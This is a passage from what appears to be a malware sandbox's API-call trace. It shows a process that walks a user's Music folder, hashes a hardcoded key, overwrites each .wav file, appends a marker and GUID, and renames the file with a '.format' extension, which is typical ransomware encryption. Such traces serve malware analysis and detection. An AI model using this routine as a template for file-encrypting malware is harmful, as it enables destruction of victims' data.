lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.831] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\") returned="C04Fzue-Z7KVyl_\\" [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.831] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.831] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0067.831] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.831] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.832] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.832] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.832] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.832] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.832] PathFindFileNameW (pszPath="") returned="" [0067.832] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ad70d0, ftCreationTime.dwHighDateTime=0x1d4cb1b, ftLastAccessTime.dwLowDateTime=0xc1826910, ftLastAccessTime.dwHighDateTime=0x1d4cace, ftLastWriteTime.dwLowDateTime=0xc1826910, ftLastWriteTime.dwHighDateTime=0x1d4cace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.832] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.832] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ad70d0, ftCreationTime.dwHighDateTime=0x1d4cb1b, ftLastAccessTime.dwLowDateTime=0xc1826910, ftLastAccessTime.dwHighDateTime=0x1d4cace, ftLastWriteTime.dwLowDateTime=0xc1826910, ftLastWriteTime.dwHighDateTime=0x1d4cace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.832] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec98c570, ftCreationTime.dwHighDateTime=0x1d4c544, ftLastAccessTime.dwLowDateTime=0xa6468930, ftLastAccessTime.dwHighDateTime=0x1d4d1c5, ftLastWriteTime.dwLowDateTime=0xa6468930, ftLastWriteTime.dwHighDateTime=0x1d4d1c5, nFileSizeHigh=0x0, nFileSizeLow=0x8b0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AgflLmjIeW_yukDHb.wav", cAlternateFileName="AGFLLM~1.WAV")) returned 1 [0067.832] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.832] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.832] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.832] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\AgflLmjIeW_yukDHb.wav") returned=".wav" [0067.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\AgflLmjIeW_yukDHb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\agfllmjiew_yukdhb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.832] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=35595) returned 1 [0067.833] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.836] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8ae5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.836] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.837] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.837] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.837] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8b0b, lpOverlapped=0x0) returned 1 [0067.837] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.837] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.837] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.837] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.837] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.838] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.838] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.838] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.838] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.838] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.838] GetLastError () returned 0x0 [0067.839] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.839] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.839] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b10) returned 0x32b2f40 [0067.839] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.839] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x8b06, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x8b06, lpOverlapped=0x0) returned 1 [0067.839] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.839] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8b0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.839] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.839] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.840] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.840] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.840] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.840] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.840] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.840] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.840] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.840] CloseHandle (hObject=0x5c8) returned 1 [0067.841] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.841] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.841] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.841] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\AgflLmjIeW_yukDHb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\agfllmjiew_yukdhb.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\AgflLmjIeW_yukDHb.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\agfllmjiew_yukdhb.wav.format")) returned 1 [0067.842] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.842] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.843] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6c3dc40, ftCreationTime.dwHighDateTime=0x1d4c615, ftLastAccessTime.dwLowDateTime=0x5c8400a0, ftLastAccessTime.dwHighDateTime=0x1d4d41a, ftLastWriteTime.dwLowDateTime=0x5c8400a0, ftLastWriteTime.dwHighDateTime=0x1d4d41a, nFileSizeHigh=0x0, nFileSizeLow=0x16a05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I31baSbQKLnY9a9KtlkI.wav", cAlternateFileName="I31BAS~1.WAV")) returned 1 [0067.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.843] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.843] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.843] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\I31baSbQKLnY9a9KtlkI.wav") returned=".wav" [0067.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\I31baSbQKLnY9a9KtlkI.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\i31basbqklny9a9ktlki.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.844] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=92677) returned 1 [0067.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.847] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x169df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.847] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.848] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.848] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x16a05, lpOverlapped=0x0) returned 1 [0067.849] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.849] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.849] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.849] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.850] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.850] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.850] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.850] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.850] GetLastError () returned 0x0 [0067.850] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.850] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16a10) returned 0x32b2f40 [0067.851] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.851] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x16a00, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x16a00, lpOverlapped=0x0) returned 1 [0067.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.852] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16a05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.852] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.852] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.852] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.852] CloseHandle (hObject=0x5c8) returned 1 [0067.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.854] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.854] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.854] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\I31baSbQKLnY9a9KtlkI.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\i31basbqklny9a9ktlki.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\I31baSbQKLnY9a9KtlkI.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\i31basbqklny9a9ktlki.wav.format")) returned 1 [0067.855] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.855] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.856] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba465e0, ftCreationTime.dwHighDateTime=0x1d4c674, ftLastAccessTime.dwLowDateTime=0x1bf1d210, ftLastAccessTime.dwHighDateTime=0x1d4cad3, ftLastWriteTime.dwLowDateTime=0x1bf1d210, ftLastWriteTime.dwHighDateTime=0x1d4cad3, nFileSizeHigh=0x0, nFileSizeLow=0x12075, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m09KxI.wav", cAlternateFileName="")) returned 1 [0067.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.856] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.856] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\m09KxI.wav") returned=".wav" [0067.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C04Fzue-Z7KVyl_\\m09KxI.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c04fzue-z7kvyl_\\m09kxi.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.857] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=73845) returned 1 [0067.857] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.860] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1204f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.860] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.861] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.861] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.861] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.861] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x12075, lpOverlapped=0x0) returned 1 [0067.861] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.862] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.862] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.862] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.862] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.865] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.865] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.865] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.865] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.865] GetLastError () returned 0x0 [0067.865] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.865] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.865] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.865] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12080) returned 0x32b2f40 [0067.866] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.866] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x12070, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x12070, lpOverlapped=0x0) returned 1 [0067.866] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.866] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x12075, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.866] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", 